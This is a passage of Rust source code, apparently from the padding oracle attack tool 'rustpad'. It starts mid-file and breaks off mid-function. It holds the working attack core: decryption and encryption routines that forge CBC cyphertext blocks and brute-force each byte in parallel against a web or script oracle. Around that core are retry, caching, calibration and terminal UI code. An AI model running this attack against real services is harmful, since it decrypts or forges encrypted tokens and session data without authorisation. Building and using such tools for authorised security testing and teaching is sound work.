forged_cypher_texts: Vec<ForgedCypherText<'a>>, 27 | update_ui_callback: U, 28 | } 29 | 30 | impl<'a, U> Decryptor<'a, U> 31 | where 32 | U: FnMut(UiEvent) + Sync + Send + Clone, 33 | { 34 | pub(crate) fn new_decryption_only(update_ui_callback: U, cypher_text: &'a CypherText) -> Self { 35 | Self::new( 36 | update_ui_callback, 37 | cypher_text, 38 | // IV is not decrypted 39 | 1, 40 | ) 41 | } 42 | pub(crate) fn new_encryption(update_ui_callback: U, cypher_text: &'a CypherText) -> Self { 43 | Self::new( 44 | update_ui_callback, 45 | cypher_text, 46 | cypher_text.amount_blocks() - 1, 47 | ) 48 | } 49 | 50 | pub(crate) fn web_calibrator(&self) -> Calibrator { 51 | // can't panic as the constructor checks for at least 1 forged cypher text being created 52 | Calibrator::new(self.forged_cypher_texts[0].clone()) 53 | } 54 | 55 | /// Prepares everything for decryption. Extracts a `ForgedCypherText` for each block to solve from the `CypherText`. This forged cypher text manages the state of its respective block's decryption. 56 | fn new(update_ui_callback: U, cypher_text: &'a CypherText, blocks_to_skip: usize) -> Self { 57 | if blocks_to_skip + 1 > cypher_text.amount_blocks() { 58 | panic!("Need at least 2 blocks to decrypt"); 59 | } else { 60 | debug!( 61 | target: LOG_TARGET, 62 | "Preparing forged cypher texts to decrypt {} block(s)", 63 | cypher_text.amount_blocks() - blocks_to_skip 64 | ); 65 | } 66 | 67 | // decryption is based on recognizing padding. Padding is only at the end of a message. So to decrypt the n-th block, all blocks after it have to be dropped and the "n - 1"-th block must be forged. 68 | let forged_cypher_texts = (blocks_to_skip..cypher_text.amount_blocks()) 69 | .map(|block_to_decrypt_idx| { 70 | ForgedCypherText::from_cypher_text(cypher_text, block_to_decrypt_idx) 71 | }) 72 | .collect(); 73 | 74 | Self { 75 | forged_cypher_texts, 76 | update_ui_callback, 77 | } 78 | } 79 | 80 | /// Actually performs the oracle attack to decrypt each block available through `ForgedCypherText`s. 81 | pub(crate) fn decrypt_blocks( 82 | &self, 83 | oracle: &impl Oracle, 84 | cache: Arc<Mutex<Option<Cache>>>, 85 | ) -> Result<Vec<SolvedForgedCypherText<'a>>> { 86 | self.forged_cypher_texts 87 | .par_iter() 88 | .enumerate() 89 | .map( 90 | |(i, forged_cypher_text)| -> Result<SolvedForgedCypherText<'a>> { 91 | let block_to_decrypt_idx = forged_cypher_text.amount_blocks() - 1; 92 | let block_solution = solve_block( 93 | oracle, 94 | cache.clone(), 95 | forged_cypher_text, 96 | |block, idx| { 97 | (self.update_ui_callback.clone())(UiEvent::Decryption( 98 | UiDecryptionEvent::BlockWip(block, idx), 99 | )); 100 | }, 101 | |newly_solved_bytes| { 102 | (self.update_ui_callback.clone())(UiEvent::Control( 103 | UiControlEvent::ProgressUpdate(newly_solved_bytes), 104 | )); 105 | }, 106 | )?; 107 | 108 | info!( 109 | target: LOG_TARGET, 110 | "Block {}/{}: decrypted!", 111 | i + 1, 112 | self.forged_cypher_texts.len() 113 | ); 114 | (self.update_ui_callback.clone())(UiEvent::Decryption( 115 | UiDecryptionEvent::BlockSolved( 116 | block_solution.forged_block_solution().clone(), 117 | block_to_decrypt_idx, 118 | ), 119 | )); 120 | 121 | Ok(block_solution) 122 | }, 123 | ) 124 | .collect() 125 | } 126 | } 127 | -------------------------------------------------------------------------------- /src/divination/encryptor.rs: -------------------------------------------------------------------------------- 1 | use std::sync::{Arc, Mutex}; 2 | 3 | use anyhow::Result; 4 | use log::{debug, info}; 5 | 6 | use crate::{ 7 | block::{block_size::BlockSizeTrait, Block}, 8 | cache::Cache, 9 | cypher_text::{ 10 | encode::AmountBlocksTrait, 11 | forged_cypher_text::{solved::SolvedForgedCypherText, ForgedCypherText}, 12 | CypherText, 13 | }, 14 | divination::solve_block, 15 | logging::LOG_TARGET, 16 | oracle::Oracle, 17 | plain_text::PlainText, 18 | tui::ui_event::{UiControlEvent, UiEncryptionEvent, UiEvent}, 19 | }; 20 | 21 | /// Manages the oracle attack (encryption) on a high level. 22 | pub(crate) struct Encryptor<'a, U> 23 | where 24 | U: FnMut(UiEvent) + Sync + Send + Clone, 25 | { 26 | // intermediate of last block of the user provided cypher text 27 | initial_block_solution: SolvedForgedCypherText<'a>, 28 | update_ui_callback: U, 29 | } 30 | 31 | impl<'a, U> Encryptor<'a, U> 32 | where 33 | U: FnMut(UiEvent) + Sync + Send + Clone, 34 | { 35 | pub(crate) fn new( 36 | update_ui_callback: U, 37 | initial_block_solution: SolvedForgedCypherText<'a>, 38 | ) -> Self { 39 | debug!(target: LOG_TARGET, "Preparing to encrypt plain text"); 40 | 41 | Self { 42 | initial_block_solution, 43 | update_ui_callback, 44 | } 45 | } 46 | 47 | // encryption looks for the intermediate of the cypher text block, which is then xor-ed with the plain text block to create the cypher text block to be prepended. 48 | pub(crate) fn encrypt_plain_text( 49 | &self, 50 | plain_text: &PlainText, 51 | oracle: &impl Oracle, 52 | cache: Arc<Mutex<Option<Cache>>>, 53 | ) -> Result<CypherText> { 54 | let mut encrypted_blocks_backwards = 55 | vec![self.initial_block_solution.block_to_decrypt().clone()]; 56 | 57 | // encrypting requires iteratively, backwards, building up the cypher text. Unlike with decrypting, we don't know each block beforehand. So obviously this can't be done in parallel 58 | for (i, plain_text_block) in plain_text.blocks().iter().rev().enumerate() { 59 | if i == 0 { 60 | // decryption of this block is already finished as it's simply the initial block (the last block of the cypher text) 61 | let block_solution = self.initial_block_solution.forged_block_solution(); 62 | 63 | (self.update_ui_callback.clone())(UiEvent::Control( 64 | UiControlEvent::ProgressUpdate(*plain_text_block.block_size() as usize), 65 | )); 66 | (self.update_ui_callback.clone())(UiEvent::Encryption( 67 | UiEncryptionEvent::BlockSolved( 68 | block_solution.clone(), 69 | plain_text.blocks().len() - i, 70 | ), 71 | )); 72 | 73 | let prepend_cypher_text_block = 74 | &block_solution.to_intermediate() ^ plain_text_block; 75 | encrypted_blocks_backwards.push(prepend_cypher_text_block.clone()); 76 | 77 | cache_decryption_equivalent( 78 | cache.clone(), 79 | prepend_cypher_text_block, 80 | self.initial_block_solution.block_to_decrypt().clone(), 81 | block_solution.clone(), 82 | )?; 83 | } else { 84 | // Use only the last block, as forging a block is only dependant on its "pair". Not having to send all blocks saves bandwidth and processing time, for us and the oracle 85 | let cypher_text_block = encrypted_blocks_backwards 86 | .last() 87 | .expect("Encryption starts with 1 block, yet no block was found in the list") 88 | .clone(); 89 | 90 | // prepend an empty block which is to serve as the forgeable block 91 | let blocks_to_solve = vec![ 92 | Block::new(&plain_text_block.block_size()), 93 | cypher_text_block.clone(), 94 | ]; 95 | 96 | let forged_cypher_text = ForgedCypherText::from_slice( 97 | &blocks_to_solve[..], 98 | plain_text_block.block_size(), 99 | *self.initial_block_solution.url_encoded(), 100 | *self.initial_block_solution.used_encoding(), 101 | ); 102 | let block_solution = solve_block( 103 | oracle, 104 | cache.clone(), 105 | &forged_cypher_text, 106 | // we don't send all blocks, but only the 2 (pair) needed to progress. The current block thus cannot be determined from the length of `ForgedCypherText`, as is done in `solve_block`. 107 | |block, _| { 108 | (self.update_ui_callback.clone())(UiEvent::Encryption( 109 | UiEncryptionEvent::BlockWip(block, plain_text.amount_blocks() - i), 110 | )); 111 | }, 112 | |newly_solved_bytes| { 113 | (self.update_ui_callback.clone())(UiEvent::Control( 114 | UiControlEvent::ProgressUpdate(newly_solved_bytes), 115 | )); 116 | }, 117 | )?; 118 | let block_solution = block_solution.forged_block_solution(); 119 | 120 | (self.update_ui_callback.clone())(UiEvent::Encryption( 121 | UiEncryptionEvent::BlockSolved( 122 | block_solution.clone(), 123 | plain_text.blocks().len() - i, 124 | ), 125 | )); 126 | 127 | // if this is the last block, it's the IV 128 | let prepend_cypher_text_block = 129 | &block_solution.to_intermediate() ^ plain_text_block; 130 | encrypted_blocks_backwards.push(prepend_cypher_text_block.clone()); 131 | 132 | cache_decryption_equivalent( 133 | cache.clone(), 134 | prepend_cypher_text_block, 135 | cypher_text_block, 136 | block_solution.clone(), 137 | )?; 138 | }; 139 | 140 | info!( 141 | target: LOG_TARGET, 142 | "Block {}/{}: encrypted!", 143 | i + 1, 144 | plain_text.amount_blocks() 145 | ); 146 | } 147 | 148 | Ok(CypherText::from_iter( 149 | encrypted_blocks_backwards.iter().rev(), 150 | *self.initial_block_solution.url_encoded(), 151 | *self.initial_block_solution.used_encoding(), 152 | )) 153 | } 154 | } 155 | 156 | // encryption uses a (dummy block, cypher block)-pair to build the actual cypher text block to prepend. `solve_block` will cache this pair, instead of the eventual (cypher block - 1, cypher block)-pair. We store this 2nd type of pair here. 157 | fn cache_decryption_equivalent( 158 | cache: Arc<Mutex<Option<Cache>>>, 159 | prepend_cypher_text_block: Block, 160 | cypher_text_block: Block, 161 | block_solution: Block, 162 | ) -> Result<()> { 163 | cache 164 | .lock() 165 | .unwrap() 166 | .as_mut() 167 | .map(|cache| { 168 | cache.insert( 169 | (prepend_cypher_text_block, cypher_text_block), 170 | block_solution, 171 | ) 172 | }) 173 | .transpose() 174 | .map(|_| ()) 175 | } 176 | -------------------------------------------------------------------------------- /src/divination/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod decryptor; 2 | pub(super) mod encryptor; 3 | 4 | use std::{ 5 | sync::{Arc, Mutex}, 6 | thread, 7 | }; 8 | 9 | use anyhow::{anyhow, Result}; 10 | use log::{debug, warn}; 11 | use rayon::iter::{IntoParallelIterator, ParallelIterator}; 12 | use retry::{delay::Fibonacci, retry_with_index, OperationResult}; 13 | 14 | use crate::{ 15 | block::{block_size::BlockSizeTrait, Block}, 16 | cache::Cache, 17 | cypher_text::{ 18 | encode::AmountBlocksTrait, 19 | forged_cypher_text::{solved::SolvedForgedCypherText, ByteLockResult, ForgedCypherText}, 20 | }, 21 | logging::LOG_TARGET, 22 | oracle::Oracle, 23 | other::{RETRY_DELAY_MS, RETRY_MAX_ATTEMPTS}, 24 | }; 25 | 26 | fn solve_block<'a, W, P>( 27 | oracle: &impl Oracle, 28 | cache: Arc<Mutex<Option<Cache>>>, 29 | cypher_text_for_block: &ForgedCypherText<'a>, 30 | wip_update_ui_callback: W, 31 | progress_update_ui_callback: P, 32 | ) -> Result<SolvedForgedCypherText<'a>> 33 | where 34 | W: FnMut(Block, usize) + Sync + Send + Clone, 35 | P: Fn(usize) + Clone, 36 | { 37 | let block_to_decrypt_idx = cypher_text_for_block.amount_blocks() - 1; 38 | let mut cypher_text_for_block = cypher_text_for_block.clone(); 39 | 40 | // check for a cache hit and short-circuit solving it 41 | let mut block_solution = cache.lock().unwrap().as_ref().and_then(|cache| { 42 | cache 43 | .get(&cypher_text_for_block.as_cache_key()) 44 | .map(|cached_block| { 45 | let key = cypher_text_for_block.as_cache_key(); 46 | debug!( 47 | target: LOG_TARGET, 48 | "Cache hit for ({}, {})", 49 | key.0.to_hex(), 50 | key.1.to_hex() 51 | ); 52 | (progress_update_ui_callback.clone())(*cached_block.block_size() as usize); 53 | 54 | SolvedForgedCypherText::from((cypher_text_for_block.clone(), cached_block.clone())) 55 | }) 56 | }); 57 | 58 | let mut attempts_to_solve_byte = 1; 59 | while block_solution.is_none() { 60 | // TODO: using `parallel-stream` instead of `rayon` would likely be better. The oracle does the hard work, i.e. decryption, and is usually remote. So we're I/O bound, which prefers async, instead of CPU bound. 61 | let current_byte_solution = (u8::MIN..=u8::MAX) 62 | .into_par_iter() 63 | .map(|byte_value| { 64 | let mut forged_cypher_text = cypher_text_for_block.clone(); 65 | forged_cypher_text.set_current_byte(byte_value); 66 | 67 | let correct_padding = 68 | retry_with_index(Fibonacci::from_millis(RETRY_DELAY_MS), |attempt| { 69 | validate_while_handling_retries( 70 | attempt, 71 | byte_value, 72 | block_to_decrypt_idx, 73 | oracle, 74 | &forged_cypher_text, 75 | ) 76 | }) 77 | .map_err(|e| anyhow!(e.to_string()))?; 78 | 79 | // update UI with attempt 80 | (wip_update_ui_callback.clone())( 81 | forged_cypher_text.forged_block_wip().clone(), 82 | block_to_decrypt_idx, 83 | ); 84 | 85 | if correct_padding { 86 | debug!( 87 | target: LOG_TARGET, 88 | "Block {}, byte {}: solved!", 89 | block_to_decrypt_idx + 1, 90 | *forged_cypher_text.block_size() - forged_cypher_text.bytes_answered(), 91 | ); 92 | 93 | Ok(forged_cypher_text.lock_byte()) 94 | } else { 95 | Err(anyhow!( 96 | "Block {}, byte {}: padding invalid. Forged block was: {}", 97 | block_to_decrypt_idx + 1, 98 | *forged_cypher_text.block_size() - forged_cypher_text.bytes_answered(), 99 | forged_cypher_text.forged_block_wip().to_hex() 100 | )) 101 | } 102 | }) 103 | .find_any(|potential_solution| potential_solution.is_ok()) 104 | .unwrap_or_else(|| { 105 | Err(anyhow!( 106 | "Block {}, byte {}: decryption failed", 107 | block_to_decrypt_idx + 1, 108 | *cypher_text_for_block.block_size() - cypher_text_for_block.bytes_answered(), 109 | )) 110 | }); 111 | 112 | match current_byte_solution { 113 | Ok(current_byte_solution) => { 114 | attempts_to_solve_byte = 1; 115 | (progress_update_ui_callback.clone())(1); 116 | 117 | match current_byte_solution { 118 | ByteLockResult::BytesLeft(current_byte_solution) => { 119 | cypher_text_for_block = current_byte_solution; 120 | } 121 | 122 | // solving the current byte happens to have solved the whole block! 123 | ByteLockResult::Solved(solution) => { 124 | // solved block, save to cache 125 | let _ = cache 126 | .lock() 127 | .unwrap() 128 | .as_mut() 129 | .map(|cache| { 130 | cache.insert( 131 | cypher_text_for_block.as_cache_key(), 132 | solution.forged_block_solution().clone(), 133 | ) 134 | }) 135 | .transpose()?; 136 | 137 | block_solution = Some(solution); 138 | } 139 | } 140 | } 141 | // validation for byte failed, attempt retry 142 | Err(e) => { 143 | if attempts_to_solve_byte > RETRY_MAX_ATTEMPTS { 144 | return Err(e); 145 | } 146 | 147 | warn!( 148 | target: LOG_TARGET, 149 | "Block {}, byte {}: retrying decryption ({}/{})", 150 | block_to_decrypt_idx + 1, 151 | *cypher_text_for_block.block_size() - cypher_text_for_block.bytes_answered(), 152 | attempts_to_solve_byte, 153 | RETRY_MAX_ATTEMPTS 154 | ); 155 | attempts_to_solve_byte += 1; 156 | } 157 | } 158 | } 159 | 160 | Ok(block_solution.expect("`while` loop finished so this must contain a value")) 161 | } 162 | 163 | fn validate_while_handling_retries( 164 | attempt: u64, 165 | byte_value: u8, 166 | block_to_decrypt_idx: usize, 167 | oracle: &impl Oracle, 168 | forged_cypher_text: &ForgedCypherText, 169 | ) -> OperationResult<bool, String> { 170 | let block_size = *forged_cypher_text.block_size(); 171 | let bytes_answered = forged_cypher_text.bytes_answered(); 172 | 173 | if attempt > RETRY_MAX_ATTEMPTS { 174 | return OperationResult::Err(format!( 175 | "Block {}, byte {}, value {}: validation failed", 176 | block_to_decrypt_idx + 1, 177 | block_size - bytes_answered, 178 | byte_value 179 | )); 180 | } 181 | 182 | thread::sleep(**oracle.thread_delay()); 183 | 184 | match oracle.ask_validation(forged_cypher_text) { 185 | Ok(correct_padding) => OperationResult::Ok(correct_padding), 186 | Err(e) => { 187 | warn!( 188 | target: LOG_TARGET, 189 | "Block {}, byte {}, value {}: retrying validation ({}/{})", 190 | block_to_decrypt_idx + 1, 191 | block_size - bytes_answered, 192 | byte_value, 193 | attempt, 194 | RETRY_MAX_ATTEMPTS 195 | ); 196 | debug!(target: LOG_TARGET, "{:?}", e); 197 | OperationResult::Retry(format!( 198 | "Block {}, byte {}, value {}: retrying validation ({}/{})", 199 | block_to_decrypt_idx + 1, 200 | block_size - bytes_answered, 201 | byte_value, 202 | attempt, 203 | RETRY_MAX_ATTEMPTS 204 | )) 205 | } 206 | } 207 | } 208 | -------------------------------------------------------------------------------- /src/logging.rs: -------------------------------------------------------------------------------- 1 | use std::path::Path; 2 | 3 | use anyhow::{anyhow, Context, Result}; 4 | use log::LevelFilter; 5 | 6 | pub(super) const LOG_TARGET: &str = "rustpad"; 7 | 8 | pub(super) fn init_logging(log_level: LevelFilter, output_file: Option<&Path>) -> Result<()> { 9 | tui_logger::init_logger(log_level) 10 | .map_err(|e| anyhow!("{}", e)) 11 | .context("Logger setup failed")?; 12 | tui_logger::set_default_level(LevelFilter::Trace); 13 | if let Some(output_file) = output_file { 14 | tui_logger::set_log_file(&output_file.to_string_lossy()).context(format!( 15 | "Log file `{}` failed to open", 16 | output_file.display() 17 | ))?; 18 | } 19 | 20 | Ok(()) 21 | } 22 | -------------------------------------------------------------------------------- /src/main.rs: -------------------------------------------------------------------------------- 1 | mod block; 2 | mod cache; 3 | mod calibrator; 4 | mod cli; 5 | mod config; 6 | mod cypher_text; 7 | mod divination; 8 | mod logging; 9 | mod oracle; 10 | mod other; 11 | mod plain_text; 12 | mod tui; 13 | 14 | use std::{ 15 | sync::{Arc, Mutex}, 16 | time::{Duration, Instant}, 17 | }; 18 | 19 | use anyhow::{Context, Result}; 20 | use async_std::task; 21 | use clap::StructOpt; 22 | use crossbeam::thread; 23 | use humantime::format_duration; 24 | use log::{error, info}; 25 | 26 | use crate::{ 27 | block::block_size::BlockSizeTrait, 28 | cache::{cache_config::CacheConfig, Cache}, 29 | calibrator::calibration_response::CalibrationResponse, 30 | cli::Cli, 31 | config::Config, 32 | cypher_text::encode::{AmountBlocksTrait, Encode}, 33 | divination::{decryptor::Decryptor, encryptor::Encryptor}, 34 | logging::{init_logging, LOG_TARGET}, 35 | oracle::{ 36 | oracle_location::OracleLocation, 37 | script::ScriptOracle, 38 | web::{calibrate_web::CalibrationWebOracle, WebOracle}, 39 | Oracle, 40 | }, 41 | other::{config_thread_pool, generate_shell_autocomplete}, 42 | tui::{ 43 | ui_event::{UiControlEvent, UiDecryptionEvent, UiEncryptionEvent, UiEvent}, 44 | Tui, 45 | }, 46 | }; 47 | 48 | fn main() -> Result<()> { 49 | let cli = Cli::parse(); 50 | if let cli::SubCommand::Setup(setup_cli) = cli.sub_command { 51 | generate_shell_autocomplete(setup_cli.shell()); 52 | return Ok(()); 53 | } 54 | let config = Config::try_from(cli)?; 55 | 56 | config_thread_pool(config.thread_count())?; 57 | init_logging(*config.log_level(), config.output_file().as_deref())?; 58 | // couldn't log cypher text info during parsing as logger wasn't initiated yet 59 | info!(target: LOG_TARGET, "Using encoding:"); 60 | info!( 61 | target: LOG_TARGET, 62 | "- {:?}", 63 | config.cypher_text().used_encoding(), 64 | ); 65 | info!( 66 | target: LOG_TARGET, 67 | "- URL encoded: {}", 68 | config.cypher_text().url_encoded() 69 | ); 70 | 71 | let tui = Tui::new(config.block_size()).context("TUI creation failed")?; 72 | 73 | let update_ui_callback = |event| tui.handle_application_event(event); 74 | thread::scope(|scope| { 75 | if let Err(e) = scope.builder().name("TUI".to_string()).spawn(|_| { 76 | if let Err(e) = task::block_on(tui.main_loop()) { 77 | error!(target: LOG_TARGET, "{:?}", e); 78 | // logic thread can stop the draw main loop, but there is no such thing the other way around 79 | update_ui_callback(UiEvent::Control(UiControlEvent::PrintAfterExit(format!( 80 | "Error: {:?}", 81 | e 82 | )))); 83 | update_ui_callback(UiEvent::Control(UiControlEvent::ExitCode(1))); 84 | tui.exit() 85 | } 86 | }) { 87 | error!(target: LOG_TARGET, "{:?}", e); 88 | update_ui_callback(UiEvent::Control(UiControlEvent::PrintAfterExit(format!( 89 | "Error: {:?}", 90 | e 91 | )))); 92 | update_ui_callback(UiEvent::Control(UiControlEvent::ExitCode(2))); 93 | tui.exit() 94 | } 95 | 96 | if let Err(e) = scope 97 | .builder() 98 | .name("Padding oracle attack".to_string()) 99 | .spawn(|_| { 100 | if let Err(e) = logic_preparation(config, update_ui_callback) { 101 | error!(target: LOG_TARGET, "{:?}", e); 102 | update_ui_callback(UiEvent::Control(UiControlEvent::PrintAfterExit(format!( 103 | "Error: {:?}", 104 | e 105 | )))); 106 | update_ui_callback(UiEvent::Control(UiControlEvent::ExitCode(3))); 107 | (update_ui_callback)(UiEvent::Control(UiControlEvent::SlowRedraw)); 108 | } 109 | }) 110 | { 111 | error!(target: LOG_TARGET, "{:?}", e); 112 | update_ui_callback(UiEvent::Control(UiControlEvent::PrintAfterExit(format!( 113 | "Error: {:?}", 114 | e 115 | )))); 116 | update_ui_callback(UiEvent::Control(UiControlEvent::ExitCode(4))); 117 | (update_ui_callback)(UiEvent::Control(UiControlEvent::SlowRedraw)); 118 | } 119 | }) 120 | .unwrap(); 121 | 122 | Ok(()) 123 | } 124 | 125 | fn logic_preparation<U>(config: Config, mut update_ui_callback: U) -> Result<()> 126 | where 127 | U: FnMut(UiEvent) + Sync + Send + Clone, 128 | { 129 | let encryption_mode = config.plain_text().is_some(); 130 | let decryptor = if encryption_mode { 131 | Decryptor::new_encryption(update_ui_callback.clone(), config.cypher_text()) 132 | } else { 133 | Decryptor::new_decryption_only(update_ui_callback.clone(), config.cypher_text()) 134 | }; 135 | 136 | match config.oracle_location() { 137 | OracleLocation::Web(_) => { 138 | info!(target: LOG_TARGET, "Using web oracle"); 139 | let mut oracle = WebOracle::visit(config.oracle_location(), config.sub_config())?; 140 | let padding_error_response = 141 | calibrate_web(&decryptor, update_ui_callback.clone(), &config)?; 142 | oracle.set_padding_error_response(Some(padding_error_response.clone())); 143 | let cache = if *config.no_cache() { 144 | None 145 | } else { 146 | Some(Cache::load_from_file(CacheConfig::new( 147 | oracle.location(), 148 | Some(padding_error_response), 149 | ))?) 150 | }; 151 | 152 | logic_main( 153 | &decryptor, 154 | &oracle, 155 | Arc::new(Mutex::new(cache)), 156 | encryption_mode, 157 | update_ui_callback.clone(), 158 | &config, 159 | )?; 160 | } 161 | OracleLocation::Script(_) => { 162 | info!(target: LOG_TARGET, "Using script oracle"); 163 | let oracle = ScriptOracle::visit(config.oracle_location(), config.sub_config())?; 164 | let cache = if *config.no_cache() { 165 | None 166 | } else { 167 | Some(Cache::load_from_file(CacheConfig::new( 168 | oracle.location(), 169 | None, 170 | ))?) 171 | }; 172 | 173 | logic_main( 174 | &decryptor, 175 | &oracle, 176 | Arc::new(Mutex::new(cache)), 177 | encryption_mode, 178 | update_ui_callback.clone(), 179 | &config, 180 | )?; 181 | } 182 | }; 183 | 184 | // keep window open for user to read results 185 | (update_ui_callback)(UiEvent::Control(UiControlEvent::SlowRedraw)); 186 | Ok(()) 187 | } 188 | 189 | fn calibrate_web<U>( 190 | decryptor: &Decryptor<U>, 191 | mut update_ui_callback: U, 192 | config: &Config, 193 | ) -> Result<CalibrationResponse> 194 | where 195 | U: FnMut(UiEvent) + Sync + Send + Clone, 196 | { 197 | // draw UI already so user doesn't think application is dead during calibration 198 | (update_ui_callback)(UiEvent::Decryption(UiDecryptionEvent::InitDecryption( 199 | config.cypher_text().blocks().to_vec(), 200 | ))); 201 | 202 | info!(target: LOG_TARGET, "Calibrating web oracle..."); 203 | let web_calibrator = decryptor.web_calibrator(); 204 | let calibration_oracle = 205 | CalibrationWebOracle::visit(config.oracle_location(), config.sub_config())?; 206 | web_calibrator.determine_padding_error_response(calibration_oracle) 207 | } 208 | 209 | fn logic_main<U>( 210 | decryptor: &Decryptor<U>, 211 | oracle: &impl Oracle, 212 | cache: Arc<Mutex<Option<Cache>>>, 213 | encryption_mode: bool, 214 | mut update_ui_callback: U, 215 | config: &Config, 216 | ) -> Result<()> 217 | where 218 | U: FnMut(UiEvent) + Sync + Send + Clone, 219 | { 220 | (update_ui_callback.clone())(UiEvent::Decryption(UiDecryptionEvent::InitDecryption( 221 | config.cypher_text().blocks().to_vec(), 222 | ))); 223 | (update_ui_callback.clone())(UiEvent::Control(UiControlEvent::IndicateWork( 224 | if encryption_mode { 225 | let plain_text = config 226 | .plain_text() 227 | .as_ref() 228 | .expect("Should have a plain text in encryption mode"); 229 | // + 1 for decrypting a block of cypher text 230 | (plain_text.amount_blocks() + 1) * *plain_text.block_size() as usize 231 | } else { 232 | let cypher_text = config.cypher_text(); 233 | // -1 as IV doesn't have to be decrypted 234 | (cypher_text.amount_blocks() - 1) * *cypher_text.block_size() as usize 235 | }, 236 | ))); 237 | 238 | let now = Instant::now(); 239 | let decryption_results = decryptor.decrypt_blocks(oracle, cache.clone())?; 240 | 241 | if encryption_mode { 242 | let last_block = decryption_results 243 | .into_iter() 244 | .max_by_key(|cypher_text| cypher_text.original_blocks().len()) 245 | .expect("Can't encrypt without having decrypted a block"); 246 | (update_ui_callback.clone())(UiEvent::Encryption(UiEncryptionEvent::InitEncryption( 247 | config 248 | .plain_text() 249 | .as_ref() 250 | .expect("Should have a plain text in encryption mode") 251 | .blocks() 252 | .to_vec(), 253 | last_block.block_to_decrypt().clone(), 254 | ))); 255 | 256 | let encryptor = Encryptor::new(update_ui_callback.clone(), last_block); 257 | 258 | let encrypted_plain_text = encryptor 259 | .encrypt_plain_text( 260 | config 261 | .plain_text() 262 | .as_ref() 263 | .expect("Should have a plain text in encryption mode"), 264 | oracle, 265 | cache, 266 | )? 267 | .encode(); 268 | 269 | info!( 270 | target: LOG_TARGET, 271 | "The oracle talked some gibberish. It took {}", 272 | format_duration(Duration::new(now.elapsed().as_secs(), 0)) 273 | ); 274 | info!( 275 | target: LOG_TARGET, 276 | "Their divination is: {}", encrypted_plain_text 277 | ); 278 | (update_ui_callback)(UiEvent::Control(UiControlEvent::PrintAfterExit( 279 | encrypted_plain_text, 280 | ))); 281 | } else { 282 | info!( 283 | target: LOG_TARGET, 284 | "The oracle talked some gibberish. It took {}", 285 | format_duration(Duration::new(now.elapsed().as_secs(), 0)) 286 | ); 287 | 288 | let plain_text_solution: String = decryption_results 289 | .iter() 290 | .map(|forged_cypher_text| forged_cypher_text.plain_text_solution()) 291 | .collect(); 292 | 293 | info!( 294 | target: LOG_TARGET, 295 | "Their divination is: {}", plain_text_solution 296 | ); 297 | (update_ui_callback)(UiEvent::Control(UiControlEvent::PrintAfterExit( 298 | plain_text_solution, 299 | ))); 300 | }; 301 | 302 | Ok(()) 303 | } 304 | -------------------------------------------------------------------------------- /src/oracle/mod.rs: -------------------------------------------------------------------------------- 1 | pub(super) mod oracle_location; 2 | pub(super) mod script; 3 | pub(super) mod web; 4 | 5 | use anyhow::Result; 6 | 7 | use crate::{ 8 | config::{thread_delay::ThreadDelay, SubConfig}, 9 | cypher_text::encode::Encode, 10 | }; 11 | 12 | use self::oracle_location::OracleLocation; 13 | 14 | pub(super) trait Oracle: Sync { 15 | /// Constructor 16 | fn visit(oracle_location: &OracleLocation, oracle_config: &SubConfig) -> Result<Self> 17 | where 18 | Self: Sized; 19 | 20 | /// Ask endpoint to verify cypher text. Return true if padding is valid. 21 | fn ask_validation<'a>(&self, cypher_text: &'a impl Encode<'a>) -> Result<bool>; 22 | 23 | fn location(&self) -> OracleLocation; 24 | fn thread_delay(&self) -> &ThreadDelay; 25 | } 26 | -------------------------------------------------------------------------------- /src/oracle/oracle_location.rs: -------------------------------------------------------------------------------- 1 | use anyhow::{anyhow, Context, Result}; 2 | use is_executable::IsExecutable; 3 | use reqwest::Url; 4 | use serde::{Deserialize, Serialize}; 5 | use std::{path::PathBuf, str::FromStr}; 6 | 7 | #[derive(Debug, Clone)] 8 | pub(crate) enum OracleLocation { 9 | Web(Url), 10 | Script(PathBuf), 11 | } 12 | 13 | #[derive(Serialize, Deserialize, Hash, PartialEq, Eq, Clone)] 14 | pub(crate) enum SerializableOracleLocation { 15 | Web(String), 16 | Script(PathBuf), 17 | } 18 | 19 | impl FromStr for OracleLocation { 20 | type Err = anyhow::Error; 21 | 22 | fn from_str(oracle_location: &str) -> Result<Self> { 23 | Url::parse(oracle_location).map(Self::Web).or_else(|_| { 24 | let path = PathBuf::from(oracle_location); 25 | if !path.is_file() { 26 | Err(anyhow!( 27 | "`{}` does not point to a file. Double check the path", 28 | oracle_location 29 | )) 30 | } else if !path.is_executable() { 31 | Err(anyhow!( 32 | "`{}` is not executable. Double check its permissions", 33 | oracle_location 34 | )) 35 | } else { 36 | Ok(Self::Script(path)) 37 | } 38 | }) 39 | } 40 | } 41 | 42 | impl From<OracleLocation> for SerializableOracleLocation { 43 | fn from(oracle_location: OracleLocation) -> Self { 44 | match oracle_location { 45 | OracleLocation::Web(url) => Self::Web(String::from(url.as_str())), 46 | OracleLocation::Script(path) => Self::Script(path), 47 | } 48 | } 49 | } 50 | 51 | impl From<SerializableOracleLocation> for OracleLocation { 52 | fn from(oracle_location: SerializableOracleLocation) -> Self { 53 | match oracle_location { 54 | SerializableOracleLocation::Web(url) => Self::Web(url.parse().context("URL stored in cache is invalid").expect("Data stored in the cache was verified when it was created. As such, the only possible reason for this must be a corrupted cache file.")), 55 | SerializableOracleLocation::Script(path) => Self::Script(path), 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/oracle/script.rs: -------------------------------------------------------------------------------- 1 | use std::{ 2 | path::PathBuf, 3 | process::{Command, Stdio}, 4 | }; 5 | 6 | use anyhow::{anyhow, Context, Result}; 7 | 8 | use crate::{ 9 | config::{thread_delay::ThreadDelay, ScriptConfig, SubConfig}, 10 | cypher_text::encode::Encode, 11 | }; 12 | 13 | use super::{oracle_location::OracleLocation, Oracle}; 14 | 15 | pub(crate) struct ScriptOracle { 16 | path: PathBuf, 17 | config: ScriptConfig, 18 | } 19 | 20 | impl Oracle for ScriptOracle { 21 | fn visit(oracle_location: &OracleLocation, oracle_config: &SubConfig) -> Result<Self> { 22 | let path = match oracle_location { 23 | OracleLocation::Script(path) => path, 24 | OracleLocation::Web(_) => { 25 | panic!("Tried to visit the script oracle using a URL!") 26 | } 27 | }; 28 | 29 | let oracle_config = match oracle_config { 30 | SubConfig::Script(config) => config, 31 | SubConfig::Web(_) => { 32 | panic!("Tried to visit the script oracle using web configs!") 33 | } 34 | }; 35 | 36 | let oracle = Self { 37 | path: path.to_path_buf(), 38 | config: oracle_config.clone(), 39 | }; 40 | Ok(oracle) 41 | } 42 | 43 | fn ask_validation<'a>(&self, cypher_text: 